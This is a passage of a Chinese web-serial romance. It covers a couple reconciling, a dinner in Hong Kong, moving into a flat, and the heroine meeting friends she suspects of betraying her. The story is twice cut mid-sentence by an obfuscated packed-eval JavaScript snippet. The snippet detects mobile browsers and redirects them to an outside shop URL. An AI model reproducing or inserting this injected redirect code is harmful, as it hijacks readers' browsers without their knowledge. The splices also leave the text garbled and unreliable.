“我没有骗!”余萧弋没好气瞪她一眼,然后又凑近她,认真看着她的眼睛,“我跟你所有都是我的第一次的,你要为我负责知道吗方小姐?” 小初没想到他会突然说这个,脸红了一片,用力扯开肩头睡衣的带子,将衣服向下拉了一点露出里面的昨晚被他弄的痕迹,语气很委屈,“谁家好人第一次就这么……” 余萧弋的呼吸一滞,内疚的情绪翻涌上来,根本不忍心看了,“都说了男人在这方面都是有天赋的……”他小声为自己解释,“我只是有点情不自禁,Babe你不知道你有多美。” 小初勾了勾他的手指,“那你下次能不能不这样,我下个星期要跟我爸妈去南太平洋玩的,都不知那个时候能不能穿泳衣。” 余萧弋的指尖颤了颤,突然很不舍,一把把她按入怀中,亲了亲她的头发,“你要去南太平洋?” “嗯,去大溪地。” 余萧弋的声音很脆弱,“能不能把我也带上,我们可以一块去潜水。” 小初将脸埋在他胸前,“我和我爸妈一块去,你不怕方总把你丢海里喂鱼吗?” “我和鱼是同类,它们才不会吃我。” “但是哥哥。”小初笑得闷闷的,“我不潜水,最多酒店里的游泳池玩玩水。我对大自然非常敬畏的,一点征服心没有。” 余萧弋突然说:“那不许穿比基尼。” 他要这么说的话,可就勾起了小初的叛逆心“你管我呢。” 她把目光投到床头柜,刚好瞥到她妈妈前天刚寄给她的一套绿色镂空连体泳衣,前面是抹胸后面是露背下面是三角的,赶紧勾过来给他看,“我就穿这个,怎么样?” “……”余萧弋的目光深邃下来,捧着她的脸作势就要亲,“你跟表哥说一声,我们今天不出门了。” 小初心一慌,说了句,“你敢给我唇膏亲掉试一下余萧弋。” 他果然停住。 她笑,“快帮我选件衣服好不好?” 他的衣品是她现实生活里见过难得好的,肯定比她自己选得好。 他无奈刮了刮她的鼻子,指了指一条离他最近的深棕色的小立领无袖连衣短裙,“穿这个,外面随便搭个外套都好看。” 小初把视线落过去。 他可真有眼光,这条裙子看着简单,剪裁和面料却极好,当然了,价格也很感人,如果她没记错,应该要四五万。 “这个不行。”她的声音轻轻的。 “为什么?出去高档餐厅吃饭穿它应该很适配了。” “你还说?”小初幽怨地看了他一眼,扯了扯睡裙的裙摆,把膝盖上的青色痕迹露出一点来,“讨厌你。” 她的眼神像羽毛,撩拨得余萧弋的心脏砰的一声。 酸涩又甜。 空气静了一会儿。 愧疚和渴望纠缠着他。 却又让他感觉自己更加卑劣了,竟然在这个时候还在想这些,他还是人吗? “对不起。”他喉结动了动。 小初不看他了。 他最后给她选的是条到脚踝的质地轻盈的白色长裙搭配银色芭蕾舞鞋,外面是一件不规则形状的灰白老花羊毛大披肩,再把头发稍微别起一点,果然有点千金风了。 只是,似乎有点不太像她。 “很漂亮。”余萧弋帮她把珍珠耳饰穿过耳洞,教她,“以后都穿贵点,谁再敢看你,你就把他眼睛挖下来。” “……” 小初其实有点不懂,他也没比她大多少,怎么会年上感这么强? 有时候她甚至会觉得他就是她的哥哥,而且是会保护她会为她操心的那种哥哥。 是因为从小他家里都没把他当成小孩子对待过吗?还是因为,本来他就是别人的哥哥,所以对这件事比较有经验? 但她看他对余萧泽和余萧盈也没对她这样啊…… 临出门前,小初的目光意外瞥到了之前和林佳宜以及朱慧雯去酒吧穿的那套衣服。 就是在那个酒吧,她遇见的余珺彦。 前一段时间忙她没来得及细想,记得那天在医院她有问过他,是不是连认识她这件事都是有意安排的。 他好像是没否认。 想到这的她后背瞬时出了一层的冷汗。 脸色也苍白下来。 那天去酒吧的事是谁提的来着? 朱慧雯还是林佳宜? 她脑海中不自觉闪过两人的面孔,一个永远野心勃勃、积极向上,一个总是沉静少言、疲惫疏离,似乎只是活着已经算她给这世间面子了。 心脏像被什么刺了似的,痛得她指尖不自觉掐进了掌心。 这让她怎么承受! 她和她们虽然最近见面不多,但之前是真的很亲密的,而且三人也算一起经历了些事的,她是真的把她们当朋友的! 她突然发现,她把很多人都当朋友,但他们却好像都更热衷于教她做人。 叶子瑜也是,余珺彦和郭羡如也是,现在又轮到了林佳宜和朱慧雯。 她在他们心中,就那么好欺负吗? “怎么了?”余萧弋发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“太贵重了,我怕别人破窗偷走。”他眨眨眼,“谢谢方小姐一片心意,我会平安,然后永远属于你。” 小初“嗯”了一声,勾起了唇。 车子开出去。 余萧弋给范小姐打去了电话。 对方对他这通电话还挺意外的,“你没看新闻吗?” 余萧弋问:“什么新闻?” “昨天那家媒体已经转了口风了啊,之前的通告全部删除,还写了几篇新的,全是对方小姐的赞美之词。” 余萧弋默了默。 态度变这么快吗? “好,辛苦你了,改天谢你。” 范小姐笑,“算了吧,无功不受禄。Theo你是真不知还是假不知啊,这件事不是我办的。” 余萧弋惊讶极了,“那是谁?” 他脑海中滑过几个名字,萧文然,余韬韬,甚至……方协文。 “是余董亲自办的,派人直接去那家报社主编家里谈的,谈完对方就撤稿了。还让自家网络打手下场把各个评论区不好的言论都冲了。我估计这件事很快就会在他们业内传开,以后其他人大概率也不敢明目张胆出来带节奏拿方小姐博流量了。” “你说什么?”余萧弋的声音都不自觉提高了几分。 手握方向盘的小初转过头诧异地看了他一眼,因为他戴着蓝牙耳机,又讲的粤语,所以她并不知道他说的是一件什么事。 “昨天我去了余宅,亲眼看见了余董的雷霆之怒。”范小姐心有余悸,却也饶有兴致,逗余萧弋道,“Theo啊Theo,你可要和方小姐好好相处,不然我恐怕你们俩闹矛盾余董都不一定站在你这边,他是真的好疼她。” 余萧弋嘴角一抽,说知道了,然后就挂了电话。 小初不明所以,问他,“怎么了,把你惊讶成这样。” 余萧弋笑着摇头,说没事,只是他突然发现他们家人都好喜欢她,“你说你是不是针对我们余家下了什么蛊?” “你说这个。”小初的脚尖轻轻点在油门上,跃上一段缓坡,“你这段时间瘦这么多,你爸妈肯定看出来什么了,他们要讨厌死我了,你说你怎么这样啊!非把自己折磨成这样吗?” “你放心,我妈那个人你又不是不知道,她就算看出来了,也会当做什么事都没有发生过的。至于我爸,他会假装自己什么都看不出来。” 小初仔细品味了一下他的话,突然轻笑,“那他们俩还挺像的。” “要不人家是夫妻呢。”他抚了抚她的耳垂和耳垂上的珍珠,“其实我们俩也像,你不觉得吗?” 小初不耐烦地往旁边躲了躲,“你别打扰我开车。”又说,“谁跟你像,我可没有自虐倾向。” 某个柔软的回忆涌入脑海,余萧弋的眸色暗了暗,“所以你为什么一点都没瘦?” 小初骄傲地挑了挑眉,“因为我会强迫吃饭,就算吐出来,也要重新吃进去。” 余萧弋不敢相信自己听到了什么,忽而一笑,“宝贝,吐出去的东西,还是不要吃回来的比较好吧?太不卫生了。” “……” 很快红灯。 小初停好车,将档位调到N,终于空出手来。 然后,照着他的腰窝就掐了下去,她掐的明明挺用力,可他竟然表情都没变一下,只是看着她笑。 余萧弋回家换了身和小初相称的衣服,又刮了胡子重新弄了发型,就大步下了楼,整个过程没超过二十分钟。 小初没跟着上楼是因为她在楼下和林佳宜她们约吃饭的时间。 很多事情她一定要亲自弄清楚。 看到焕然一新的余萧弋,她的心立刻背叛她的意志疯狂动了起来。 他好像总有这样的本事让她一次一次重新爱上他。 朴恩宇已经在酒店大堂等他们。 一见余萧弋,他就露出个了然神色,昨天小初还对这家伙闭口不谈呢,今天就甜甜蜜蜜一块来见他了,看来是吵架又和好了。 一行人来到中环一家很知名、环境也特别好的融合菜餐厅,从窗户看出去,就是这座城市的名片,维多利亚港。 都是年轻人,熟悉得也快,菜还没上齐,余萧弋和朴恩宇就已经一见如故相谈甚欢了。 小初心中一动。 她之前听过一个说法,如果一个人你说什么他都能够认同和理解,如同让你找到了知音,并且他哪怕给你提意见的方式都让你很舒服,那么大概率,就是他在用他的高情商向下兼容你。 余萧弋似乎就是这样的人,她这么想并不是因为朴恩宇不够优秀,而是他们的出身就已经决定了他们的视野和思维的巨大差异。 不用深想,他们看问题的角度,解决问题的思路和方式,甚至于每天需要处理的事情和所遇到的困境都不可能是一个量级的。 即便如此,他还是愿意把自己放在一个比较低的姿态上试着去倾听和理解别人,她真的很难不感动。 他的教养和性格,真的可以称得上万中无一了。 他像他妈妈,却比她妈妈更有气度,他妈妈或许还有一丝努力证明自己给所有人看的意思在,他就完全没有,非常平和从容。 也就只有对她,才会偶尔发发疯。 “所以哥的小名叫宇宙?”余萧弋微微欠身给朴恩宇倒了杯茶。 这边的待客之道和北方不太一样,因为他下午还要上班,所以就没有点酒水。 “是。”朴恩宇笑,“我们那边很喜欢比较大的名字。” 余萧弋点头,“宇宙,太初,的确。” “她的比我的还大。”朴恩宇朝妹妹努了努嘴。 余萧弋笑,神情骄傲,“她称得上。” 小初和朴恩宇都有一丝的怔愣,继而又都笑了。 朴恩宇说:“她做妹妹是没话说的那一类。” 因为他们俩的妈妈关系比较好,所以他们从小见面还算比较多,有时候假期小初去延吉常住,两人都会在一起玩,所以感情从小就很好。 然后他问:“那她做女朋友怎么样?” 小初有些难为情,瞪他,“哥你这干嘛,我做女朋友当然也没话说了,你看我都没有一天有打他八遍,这还不够好吗?” 大家都笑。 朴恩宇抿抿唇,沉默了一下,“的确,我将来能找个一天不打我八遍的就行。” 小初这才意识到自己失言了,因为全家族谁不知道他爸妈关系特别差,他妈脾气暴躁爱动手,经常把他爸打进医院。 “哥,对不起,我说错话了。”她马上道歉。 余萧弋不明所以地看了两人一眼。 朴恩宇笑笑,跟余萧弋解释,“因为我妈就一天打我爸八遍。” “……”余萧弋一时都没听懂他们是不是在跟他开玩笑。 “所以,我明天就回去了。”朴恩宇和两人碰了碰杯子,“看到小初身心健康学业也挺顺利的我就放心了,回去也好跟姨婆交代。我爸今天打电话过来,说他最近总是胸闷,我得赶紧回去带他去医院看看。” 小初和余萧弋对视了一下,心中同时感慨万千。 他们没想到,生在这样的家庭,他竟还能长成这个温和善良又有担当的样子。 “那我明天派人送你去机场。”余萧弋抿唇和他碰了碰杯子。 朴恩宇笑,“不用麻烦,我坐地铁很方便的。” 余萧弋坚持,“不麻烦,麻烦什么。以后我去延吉,还要仰仗哥你照顾我呢。” 朴恩宇这才点头,“那就说定了,我们延吉见。” “好,延吉见!” 把朴恩宇送回酒店,小初才反应过来,问余萧弋:“不是,谁答应你去延吉了?” 余萧弋笑,“你都见过我爷爷奶奶和外公外婆了,凭什么不许我去看奶奶?” 小初噎住。 总感觉他要开始全面进驻她的生活了。 然后她又笑了。 想起她那个日常最喜欢打麻将嘴比刀子还要厉害的奶奶,突然还有点期待他们的相处日常了怎么回事? 也不知他Theo余的高情商,这次有没有用武之地。 104.第 104 章 和林佳宜她们的饭局最终约在两天后。 小初一个星期后就要离港,本来定的是她和妈妈先分别飞东京,再一块乘航班直飞大溪地,她爸延后一天出发,与她们在目的地首府帕皮提汇合。 现在因为港港和小Enzo,计划不得不改变,她决定还是先亲自把它们带回北京安顿好再说。 其实就算交代给曹旸和阿姨也没什么可担心的,但两小只毕竟是第一次去北方,生活环境的巨变很容易带来心理问题,这个时候爸爸妈妈要是都不能陪在身边,该有多可怜。 既然决定养它们,就是要像自己孩子一样对待的,他们还年轻,父母两个字的具体含义还太深,但他们都做过小孩子,比谁都知道小孩子此刻的期待。 余萧弋一开始还提议用商务机送她们回去,但被小初否决了。 两人最近在互联网上已经够高调了,各种捕风捉影的消息层出不穷,这种多事之秋,还是谨慎为妙。 最终,他们总算选到一趟起落时间合适又提供宠物进客舱服务的航班,并提前按对方要求准备好了所有手续和证明。 离别已迫在眉睫。 余萧弋名下那几套房子各有千秋,也分不出来哪个比哪个更好,小初考虑到他接下来至少半年每天都要在家和公司之间奔波,还是选了那个通勤时间最短的。 “这个地段虽然好,但是房龄太老了,硬件设施和装修风格都明显过时了,你确定?” 他的目光在几张图片中游移了一下,最终落在一处拥有着大大落地窗可以看见无敌山景的房子上,“要不考虑这个看看?或者,我也可以带你到现场去兜一圈,你实地感受感受再做决定也不迟。” “不要啦。”小初笑,“选那个你每天就不用做别的了,时间都浪费在路上了。上班那么辛苦,多睡一会儿不好吗。” 余萧弋眼底闪过碎光,无奈地刮了刮她的鼻子,“你不在身边,长时间面对一个空荡荡的房子对我而言难道不是一种惩罚吗?还不如在路上把情绪都消耗了,回家倒头就睡呢。” 小初的心蓦然一紧。 离别的氛围蔓延上来,潮湿得她想哭。 “Theo余,你这样下半年去美国了怎么办?要是连一个人生活的勇气都没有,不出三个月,你就得出轨。” “……”余萧弋的眼泪一秒就收了回去,“小姐,我前二十多年一直一个人,也没出轨。” 小初眨眨眼,“那是因为那个时候你还没有轨道啊,现在有了,情况就得另算了。男人不是都那样吗?总是迫不及待进入一段亲密关系,然后就可以体会肆无忌惮破坏它带来的愉悦感了。” 他气得半死,捏她的脸,“你很懂男人?” 小初一边笑一边躲,“开个玩笑而已,你破防什么?” “那你呢?”他突然俯身,直视她的眼睛,“能耐得住我不在身边的寂寞吗?” 小初说:“我不寂寞,因为我还有很多事要做。” “想我的时候也不会吗?” 小初不想回答这个问题,刻意别开视线,“我觉得我刚刚选的那套房子就很好,我喜欢那个呼吸感很强的木质家具还有复古的沙发和地砖,很有一点法式南洋风的感觉,而且窗外就是海,空气一定会很好。装饰品和布艺类我们可以慢慢挑选,到时候我再管我妈要几幅画,整体风格不就出来了吗?哪里过时了。” 她形容的那个家的感觉太戳心,余萧弋实在没忍住,一把将她搂入怀中,声音无限脆弱,“Babe,我不去美国了,好不好?” 小初怔了怔,“不,不去了?” 余萧弋的语气无比认真,“嗯,反正我这辈子又不需要给别人做事,名校光环这种东西,有与没有,其实没所谓。如果只是为了向董事会证明我的能力和智商,我觉得凭我目前所做到的,已经足够了。三五年的时间漫长又无意义,还不如把精力直接用在家庭和事业上,不是吗?” “可,可是……”小初顾虑重重,“你本来计划要去的。” “是,但你也说了是本来。” “所以是我破坏了你的计划。” 余萧弋纠正她,“是我理性地选择了更好的发展方向。” 小初坚持,“但别人不会那么想。” “别人是谁?” “你爷爷奶奶,你爸妈。” 余萧弋笑:“爷爷奶奶本来就恨不得我能早点独当一面呢,要是能在二十五岁之前结婚成家就更好。至于我爸妈,他们向来尊重我的想法和选择,就算不,那很抱歉也只能请他们调整调整心态了。” 小初说:“那我就一辈子都要为这件事负责了,被贴上狐狸精和坏女人标签永远甩不掉。” 余萧弋揉了揉她的头发,“不会的,我爸妈倒还不至于拎不清,他们知道我从小到大就是个有主见的人。再说,余萧泽就可以放弃学业去闯娱乐圈,我只是不想要一个国外名校的博士学位就犯了天条吗?” 小初有些恍惚,如果可以,她当然希望他能时时陪在她身边,至少,让她想见他的时候不用耗费太多力气就能见得到。 但这样想,会不会太过于自私? 爱一个人,不就应该支持他成为更好的自己吗? 她还没有找到那个时间的褶皱,更不能穿越到未来替他在今天做出更正确的选择,还有一点,她并不太想介入别人的因果。 若他好,自然什么都好。 若不好呢,她要拿什么为人家的人生负责? 爱情不能是人唯一的选项。 换个角度,如果是她,她会为了陪伴另外一个人改变自己本来的人生规划吗?哪怕那个人是她现阶段的挚爱? 答案是,No。 谁也不能阻止她向前的脚步,事业和家庭当然都很重要,但他们毕竟都还小,完全可以各自发展几年再考虑两个人共同的未来呀。 “你慎重,哥哥。”小初捧过他的脸,神色真诚,“我十分确定我在你二十五岁之前绝对是不可能和你结婚的,甚至于,我三十岁之前大概率都不会考虑这件事。你不觉得两个不成熟的人贸然签订一段契约是一件很可怕的事吗?” 余萧弋注视着她。 “所以你没想过和我结婚?” 小初解释,“不是没想过和你结婚,是没想过结婚这件事本身。” “这对我而言是一回事。”他苦涩一笑,“不过你也别误会,我这么说也不是要马上绑定你的意思,我只是想表达,我跟你相处是真的奔着结婚去的,从没有快乐一时是一时的想法。所以我接下来做的所有决定,都会基于这个前提,你不用有心理负担,我是个理智的成年人,知道自己在做什么,并且,什么结果我都能一力承担,不会怪你任何。” 小初说不出话了。 只是眼眶渐渐涌上热意,心脏像被什么东西裹住了一样,连呼吸都开始发紧。 “好啦。”他弯起眼角,“我会再考虑看看的。既然方小姐也没那么想要我的陪伴,我也不是非要给你造成困扰不可。我愿意等着你长大,直到你自己考虑人生下一步的时候。” 等她长大? “那你呢,你长大了吗?” 余萧弋勾唇,“我就没孩子过几年,早就被当做大人对待了。” 果然如此。 小初扑进他怀里,贪恋地感受了一会儿他的心跳和体温。 半晌才呢喃道:“我也不是不想要你的陪伴,我只是……” 向来伶牙俐齿的她第一次无法将自己心中真正所想表达清楚,只能死死咬住下唇,不再开口。 搬家的事小初没操什么心,阿姨和曹旸都很能干,余萧弋也不遑多让。 她这才感受到他之前所说的十八岁开始就一个人在外面生活,衣食住行全部自己操心,灯泡坏了自己修,水管开花自己换是什么意思。 最后,她决定除了他送给她的那些礼物还有一些可能用到的专业书籍,什么都不带走。 她要把她的生活痕迹全部留给他,就像她本人还一直在这里陪着他一样。 虽然她也不知道这么做是慰藉还是另一种残忍。 某个下午,她的小公寓空了。 那些生活痕迹,她的拖鞋,睡衣,发带,水杯,电动牙刷……藤蔓一般收起触角钻进箱子里,到了他那又舒展开来,到处肆意入侵。 直至占据他每一寸私人空间。 从此以后,再没有他或者她,只有他们。 两人花了一整个周末才将房子收拾好。和小初的想象一样,老房子沾了生活气息才更像个家。 法式南洋风自带一种淡淡的怀旧感,连餐桌上方的铜质吊灯都浪漫而情调十足,很适合年轻的情侣。 浴室尤其漂亮,墙面上都是繁复的热带植物图案,鎏金浴缸掩藏在镂空的屏风后面,整个一文艺电影的拍摄片场。 搬过去的那天晚上他们就迫不及待地复刻了两人的第一夜,浴室里最后都是蒸腾的热气和摇摇晃晃的水,潮湿得令人心颤。 这次他简直温柔得要命。 似是真的在担心她度假时没有泳衣可以穿。 事后两人一起伏在沙发上休息,余萧弋才跟她说,这套房子是余蓁蓁某个设计师朋友为了参赛设计的作品,后来还拿了奖的,只是装修完成后就一直空置着,他们算是这套房子的第一任真正意义上的主人。 小初把耳朵枕在他心脏的位置,感受着他强有力的存在,唇角慢慢勾起,眼角却渐渐濡湿,故作轻松地说着:“看我的眼光多好,一开始你还不喜欢这。” “就是有点过时嘛,我不想你为了我通勤方便委屈自己。”他温柔的揉着她的头发,“不过现在我的看法已经改变了,尤其你今天光脚提着裙摆扑进我怀里的样子,和这个房子的风格简直适配极了。” 小初抬起头来,眯了眯眸子,“你是在说我自来旧吗?” 他笑,笑得又坏又荡漾,“是文艺感,什么自来旧。方小姐你好歹也是艺术家的女儿,能不能有点艺术气息。” “我不能假装自己没有的东西。”小初搂住他的脖子,半是威胁半是撒娇,“你是不是在嫌弃我?” “岂敢。”余萧弋的唇贴上来,半晌才含糊来了句,“这里是我们第一个家了。” “嗯。”小初脑子里装着离别,有些意兴阑珊。 他一语双关,“Babe投入点,别让我无能为力,感觉自己在唱独角戏,可以吗?” 小初的身体僵了僵。 “我已经很投入了,你感觉不到吗?” 他有些意乱情迷,“还不够。” * 学生宿舍还有很多东西没收拾,包括她爸上次来港买给她的那些玩偶和衣服,以及她从北京带过来的大部分书。 她打算饭局结束和林佳宜她们一块回去再整理。太久没有爬宿舍楼下那个大坡,还有点想念。 本科生朱慧雯早在圣诞假期前就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083210|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成了期末考,身为实习医生的林佳宜倒是照例每天都很忙。 小初带着曹旸去朱慧雯兼职的商场找她的时候,她正在人来人往的小广场上向路人推销巧克力。 彼时太阳还没下山,明晃晃映在她身上蓝色和银色相间带着亮片的、显然是商家为了宣传产品随便定制的劣质贴身小短裙上,直把她也变成了一颗巧克力。 朱慧雯身材高挑,人也漂亮,浑身都散发着一种为了揾钱什么都肯做,也什么都能做好的生机勃勃的气息,倒让人眼前一亮,引得好多路人驻足,请她介绍产品,没一会儿就成交了好几单。 小初站在不远处看了她一会儿,心里既佩服又酸涩,这世上太多形形色色的人都在以各自不同的姿态努力生活着,光是这一点就足够令人感动了。 这一刻,她好像有点理解王子视角的灰姑娘为什么那么美丽又可爱了,比如她现在,就产生了一种无名的冲动,恨不得冲过去一把搂住她肩,告诉她别干了,以后她来养她算了。 好在她抑制住了。 朱慧雯很快就发现了她的存在,然后就踩着至少十厘米的高跟鞋笃笃笃向她跑过来,她倒是没客气,是真的一把就把她拥在了怀中。 “方太初!好久不见!” 小初充满笑意的目光落在她夸张的眼线睫毛和大片的银色眼影上,觉得她生动得似乎已经有些过分了。 “你干嘛这样看我!”朱慧雯注意到了她的目光,用手抚了抚额前的一丝没被发胶固定的头发,“嫌我给你丢脸了?” 小初说:“岂敢!我是看你漂亮想多看几眼!不然我回北京可就看不到了!” 朱慧雯的神色暗了暗,又很快明亮起来,“有什么所谓,反正你肯定会经常回来的,我有小余总这个人质在手,根本不愁再见不到你。” 小初挑了挑眉,“我重色轻友,回来看他就是看他,可未必想得起你。” 朱慧雯听了立刻把头枕在了她肩膀上,嘴里说着,“放心,方小姐你可是我这前二十年唯一打破阶层认识的朋友了,我除非傻了才会放过你呢,就算你不来香港,我都会攒钱时不时去北京看看你,跟你贴贴的。” 她这样直白,倒让小初哭笑不得。 “一开始认识我的时候,你可不是这样的。” 朱慧雯浑不在意,“那是你的错,如果你一开始就亮明身份,我说不定都会追你做我女朋友,讲实话你对拍拖对象性别卡得死吗,你看我还有机会吗?” 小初揶揄,“你还是先练练你的普通话吧,你这个口音吵得我头疼,现在肯定是爱不上的,不过我慕强,说不定等你将来成了赫赫有名的大状,我就回心转意了。” 朱慧雯一脸委屈,“我这个普通话还不普通吗?我可是有为你特别练习过的。” 小初点头,“就是太普通了,普通到一点性张力没有。” 两人都大笑。 朱慧雯从口袋里掏出两颗巧克力来,一颗给她,一颗给曹旸,“你们尝尝,这个是真的好吃的,纯巧来的,可不是代可可脂。”言语间似乎怕她们嫌弃,“要是不喜欢这个口味,那边还有别的,我去给你们拿。” 一句话就让小初泪了目。 不会是她。 她在心里对自己说。 她这么努力向上地生活,反而会更懂得权衡利弊,知道她方太初才是她值得经营并且有可能相交一生的人脉,她不可能为了余珺彦的一点点利益出卖她。 除非对方给的太多。 但如果她真从他那拿了那么多,现在还用穿着劣质短裙,化着夸张的妆容,踩着一看就不舒服的高跟鞋在这跟路人兜售巧克力吗? 那就只剩下了另外一种可能,她现在简直不敢细想,林佳宜是怎么下定决心背叛她的,她可是她来这边之后第一个真心相待的朋友啊…… 她缺钱为什么不直接跟她说? “甜的。”小初把巧克力含入口中,一边笑一边红了眼尾,“我还想要,你去再给我拿几颗。” 朱慧雯吃惊地看着她,似乎没明白她突如其来的感情汹涌是因为什么。 “你看我干什么?多拿几颗巧克力要钱吗?”小初推她一下。 “不要不要!”朱慧雯摆手,“就算要,几颗巧克力我还请得起。” 她笃笃笃跑走,又很快回来,把另外几个口味的巧克力塞给她,并看了看周围不停在朝她们张望的路人,无比直白,“方太初,你是在这等我还是到商场里找个地方坐?但我要跟你讲,那些人好像认出你了,你继续在这,就要给我做人形广告牌了啊,我占了你便宜,可给不了你任何回报。” 小初笑出来,骂了一句,“你痴线啊。”又说,“我就在这等,你快去,忙完了我们好去吃饭。” 朱慧雯大大地勾起唇,并对她做了个OK的手势。 她的巧克力全部卖完的时候,太阳正跃下地平线。 时光突然变得无比温馨。 等她换好衣服,两人就一块上了曹旸的车。因为想让她们吃得好一点,小初特地选了家格调和菜品在网上评分还不错的法国餐厅。 她发现她和余萧弋一块吃饭都没操过的心,最终都交付给了友情。 还是很可能背刺过她的友情。 但是她没觉得不值,至少,她们都教会了她成长。反正人的感情都是阶段性的,以后见面机会也不会太多了,就当这是一场告别吧。 告别嘛,总值得隆重一点。 105.第 105 章 曹旸送她们过来就在门廊外的露天餐位坐了下来,开启了默默守护模式。 一进门,朱慧雯的眼睛就亮了起来,附在小初耳边轻声道:“我一定要变有钱。” 小初笑:“你一定会的,未来的HK小姐,精英律师。” 朱慧雯眨眨眼:“我还想嫁个有钱男人,能实现吗?” “都会有的。” 她突然又有点沮丧,“早知道今天应该化个更漂亮的妆的,我这个样子好滑稽。” 小初安慰她:“你青春无敌,怎么扮都靓。” 两人坐下,朱慧雯就让她教她该怎么看菜单和点菜了,等林佳宜姗姗来迟的时候,她已经学了个七七八八了。 “抱歉,我来迟了。”林佳宜人还未到跟前,脸上就已经挂满笑容,和平时的她简直判若两人。 小初掀眸过去,发现她今天的妆容也格外精致,原本更多是清秀知性的一张脸,竟莫名多了几分妩媚动人的味道出来,连她都忍不住多看了好几眼。 “怎样,你干嘛那样子看我?”林佳宜放下手中的纸袋,倾身在小初对面坐下,仔细端详了她一会儿才说:“你瘦了,是这段时间复习考试累的,还是被网上的流言蜚语影响到了?” 小初心头一刺。 她还真是个高手,都到这个时候了,对她关心竟还这么自然流露,若不是心里早有芥蒂,她肯定什么都察觉不出来。 “好久不见了佳怡姐。” 小初努力勾了勾唇,笑得一派云淡风轻。 “是呀。”林佳宜伸手,摸了摸小初的脸,“我都想你了。” 小初心里涌起一阵恶心,本能就想别过头去,但她忍住了。 饭没吃,她还不想破坏眼前的气氛。 “我也想你。”她勉强笑笑,又问她,“最近有再回台湾吗?阿姨的身体怎么样,好点了吗?” 小初记得的,一切都是从她从台湾回来慢慢变得不对劲的。 林佳宜的神色果然僵住,半晌才不自然地笑笑,“好多了。只是我哪还有空回去看她,工作都忙得焦头烂额。” 小初点点头,也不知再说些什么。 林佳宜喝了口柠檬水,又自顾自说道,“讲出来方太初你可能理解不了我们这种家庭的母女关系,就是那种既扭曲又脆弱,连在意都更习惯用恶语相向的方式表达出来的连结,上面还带着脐带血的。你要说它一点感情不沾,那肯定也不是,但只要稍微用力,双方肯定都会感到疼,逐渐就麻木了。幸好,我只有个姐姐,还没有兄弟,不然情况会更复杂。” 小初没想到她会突然说这个,细品之下又有些无奈和悲伤,一时怔住。 朱慧雯却一个字都听不得了,“姐姐你能不能不要讲这个原生家庭,我是真的有兄弟一事无成天天在几平米的房间里躺着的,我跟你说我幸亏是生在了这个时代,不然一定会被家里卖去做舞女的。”她弯起眼睛一笑,“你们也看见了,我长得这么漂亮。” 话题突然这么沉重,小初感觉自己像挨了一闷棍,连情绪都是滞涩的。 林佳宜笑,“说得没错,你这么漂亮。所以就算真被卖了,也能靓绝香江,红到发紫。” “借你吉言。”朱慧雯得意地扬了扬下巴,这才拿起菜单问小初,“所以我们能点菜了吗?” 小初勾了勾唇,神色柔和下来,鼓励地看了看她,“当然,你先点,就按照我刚教你的。” “我行吗?”朱慧雯的脸颊红了。 一个平时天不怕地不怕的人红了脸的样子真的很惊悚,也有些可爱,小初被她逗笑,“你点好了,最重要迈出这一步,实在不行我给你兜底作补充嘛。” 她抬手,示意侍应生过来。 对方开口先用法语问了好,又换成英语问几个人都吃什么。 朱慧雯更慌了,连声音都有些发抖,但还是努力平复下来,点了前菜主菜和甜点。 小初提醒她,还有汤和酒。 朱慧雯试着点了。 小初笑着挑了挑眉,给她投过去一个赞赏的眼神。 轮到她和林佳宜,事情倒简单了,林佳宜让她看着办,她干脆就点了两份他们家的招牌套餐,与此同时也没有忘记门廊处的曹旸,三下五除二就合上了菜单。 朱慧雯嗔道,早知这样她也点套餐了,只要指尖一落,说句“麻烦给我这个”就好,还不用担心做出不合时宜的举动惹人发笑。 小初说:“这不行,你想嫁个有钱男人,也不能只会两句话,我要这个我还想要那个吧,你起码得学上十句,比如,这一排的衣服除了这件都给我包起来,或者那只戒指上的钻石好像不够亮,我不喜欢之类的。” 朱慧雯忍俊不禁,作势要打她,“你是不是在笑我?” “岂敢!”小初说,“惹了你Wendy朱不开心,我门口会被人贴纸条的。” 朱慧雯一听脸都红透了,上来就捂她的嘴,“你还说!” 小初喝口水,不逗她了。 朱慧雯又问:“你讲实话,你妈妈和你爸爸相处是像你说的那样吗?” “他们?”小初回忆了一下,“同样场景我妈只会说,你这次出门给我管好你的手啊,不许乱花钱也不许买任何东西给我,记住没?” 朱慧雯瞪大眼睛,“真的?” 小初笑,“他们是夫妻,钱都是一起的,所以立场一致。最主要,我妈不太相信我爸的审美。” 朱慧雯有些怔,“那你妈妈是不是出身也很好?” “她出身是不错,但最重要他们俩有感情。Wendy你将来就算真找有钱人,也一定要找个真心对你的,你有这个本事。”小初顿了顿,目光不经意划过一旁沉默的林佳宜,“出身这种东西谁也控制不了,但能不能活得磊落和精彩,就全凭个人了。” 一餐饭吃得气氛很融洽,主要是朱慧雯和小初在聊,林佳宜话少,菜也吃得少,只有酒喝得多,神情始终恹恹的,就算笑,也有种很刻意和虚伪的感觉。 小初这才意识到偏见的可怕。 就在不久前,她还枕在她的肩膀上,一声声唤她“佳怡姐”,撒着娇让她喂自己东西吃,一杯劣质酒同她喝到醉,生病麻烦她照顾,想家时也是抱着她哭。 而现在什么都变了,她们再也回不到从前了。 最后一杯酒举起来,三人都有点伤感,但天下无不散之筵席,能同行一段已是她们之间最大的缘分,再见面…… 不,小初心里很明白,她不会再和她见面了。 所以她倔强地没有说那句“以后来北京记得找我”,说出来,她恐怕自己也要变得跟她一样虚伪了。 倒是林佳宜自己先开了口,“方太初,宿舍里还有你的东西呢。” 小初说:“是。” “你准备什么时候去收拾?” 